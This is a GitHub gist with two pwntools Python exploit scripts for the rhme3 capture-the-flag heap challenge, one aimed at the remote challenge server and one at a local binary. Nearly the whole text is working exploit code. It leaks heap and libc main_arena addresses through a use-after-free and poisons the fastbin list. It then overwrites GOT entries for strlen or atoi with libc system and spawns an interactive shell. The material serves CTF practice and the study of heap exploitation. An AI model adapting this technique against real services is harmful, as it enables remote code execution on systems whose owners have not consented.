Skip to content

Instantly share code, notes, and snippets.

@sudhackar
Last active February 19, 2019 06:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sudhackar/e34da95f9c01d1e31c93d2c48cd12884 to your computer and use it in GitHub Desktop.
Save sudhackar/e34da95f9c01d1e31c93d2c48cd12884 to your computer and use it in GitHub Desktop.
rhme3 CTF exploitation on heap
from pwn import *
context(arch='amd64', os='linux', log_level='info')
system_main_arena_offset = 0x37f7e8
got_strlen = 0x603040
s = remote("pwn.rhme.riscure.com",1337)
def recv_menu():
s.recvuntil(": ")
def edit_menu():
recv_menu()
s.sendline("4")
def edit_name(name):
# recv_menu()
edit_menu()
recv_menu()
s.sendline("1")
s.recvuntil(": ")
s.sendline(name)
s.recvuntil(": ")
s.sendline("0")
def add_player(name, shell=False):
recv_menu()
s.sendline("1")
s.recvline()
s.recvuntil(": ")
s.sendline(name)
if not shell:
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
def select_player(n):
recv_menu()
s.sendline("3")
s.recvuntil(": ")
s.sendline(str(n))
s.recvline()
s.recvline()
s.recvline()
def free_player(n):
recv_menu()
s.sendline("2")
s.recvuntil(": ")
s.sendline(str(n))
s.recvline()
def show_player(leak_name=False, leak_attack=False):
recv_menu()
s.sendline("5")
if leak_name:
leak = s.recvline().split(": ")[1]
s.recvline()
return leak
else:
s.recvline()
if leak_attack:
attack = int(s.recvline().split(": ")[1].split(",")[0])
return attack
else:
s.recvline()
s.recvline()
add_player("AAAAA")
# add a player, it's name will serve as the loop in fastbin linked list, giving full control over the next struct alloc'd
add_player("BBBB")
# free this and leak heap
select_player(1)
free_player(1)
heap_leak = show_player(leak_attack=True) - 0x60
success("heap addr :"+hex(heap_leak))
edit_name(p64(heap_leak+0x20))
# insert a loop in the fastbin linked list to give you already allocated fastbin
select_player(0)
# now a hack with strcpy to null out a pointer to end the fastbin linked list
edit_name("AAAA")
edit_name("AAA")
edit_name("AA")
edit_name("A")
edit_name("")
# fill the hole created by first free
add_player("CCCC")
# target struct allocated on player[0].name
add_player("XXXX")
# alloc a small bin to leak the main_arena if its last in the linked list
add_player("P"*254)
# add a dummy chunk so that the last bin doesn't coalesce to the wilderness
add_player("YYYY")
select_player(3)
free_player(3)
# free and leak the main_arena to deduce system in libc
leak = show_player(leak_name=True).strip()
main_arena_leak = u64(leak+'\x00'*(8-len(leak)))
success("main_arena addr :"+hex(main_arena_leak))
# using the write primitive from player[0].name and player[2].name
# write what -> player[2].name where -> player[1].name
select_player(0)
edit_name("A"*16+p64(got_strlen))
select_player(2)
# patch GOT['strlen'] to libc system
edit_name(p64(main_arena_leak-system_main_arena_offset))
add_player("/bin/sh", shell=True)
# w00t w00t!!
s.interactive()
from pwn import *
context(arch='amd64', os='linux', log_level='info')
s = process("./main.elf")
# gdb.attach(s, "break show_player")
def recv_menu():
s.recvuntil(": ")
def edit_menu():
recv_menu()
s.sendline("4")
def edit_name(name, shell=False):
# recv_menu()
edit_menu()
recv_menu()
s.sendline("1")
s.recvuntil(": ")
s.sendline(name)
s.recvuntil(": ")
if shell:
s.sendline("sh")
else:
s.sendline("0")
def add_player(name, shell=False):
recv_menu()
s.sendline("1")
s.recvline()
s.recvuntil(": ")
s.sendline(name)
if not shell:
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
s.recvuntil(": ")
s.sendline("1")
def select_player(n):
recv_menu()
s.sendline("3")
s.recvuntil(": ")
s.sendline(str(n))
s.recvline()
s.recvline()
s.recvline()
def free_player(n):
recv_menu()
s.sendline("2")
s.recvuntil(": ")
s.sendline(str(n))
s.recvline()
def show_player(leak_name=False, leak_attack=False):
recv_menu()
s.sendline("5")
if leak_name:
leak = s.recvline().split(": ")[1]
s.recvline()
return leak
else:
s.recvline()
if leak_attack:
attack = int(s.recvline().split(": ")[1].split(",")[0])
return attack
else:
s.recvline()
s.recvline()
add_player("A"*200)
add_player("B"*200)
add_player("C"*200)
add_player("D"*200)
add_player("E"*200)
add_player("F"*200)
add_player("G"*200)
add_player("H"*200)
add_player("I"*200)
add_player("J"*200)
free_player(1)
free_player(2)
free_player(3)
free_player(4)
free_player(5)
free_player(6)
free_player(9)
select_player(7)
free_player(7)
leak = show_player(leak_name=True).strip()
main_arena_leak = u64(leak+'\x00'*(8-len(leak)))
success(hex(main_arena_leak))
e = ELF("./main.elf")
add_player("X"*4)
add_player("X"*4)
add_player("X"*4)
show_player()
add_player("AABBCCDDEEFFGGHH"+p64(e.got["atoi"]))
edit_name(p64(main_arena_leak-0x39c860), shell=True)
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment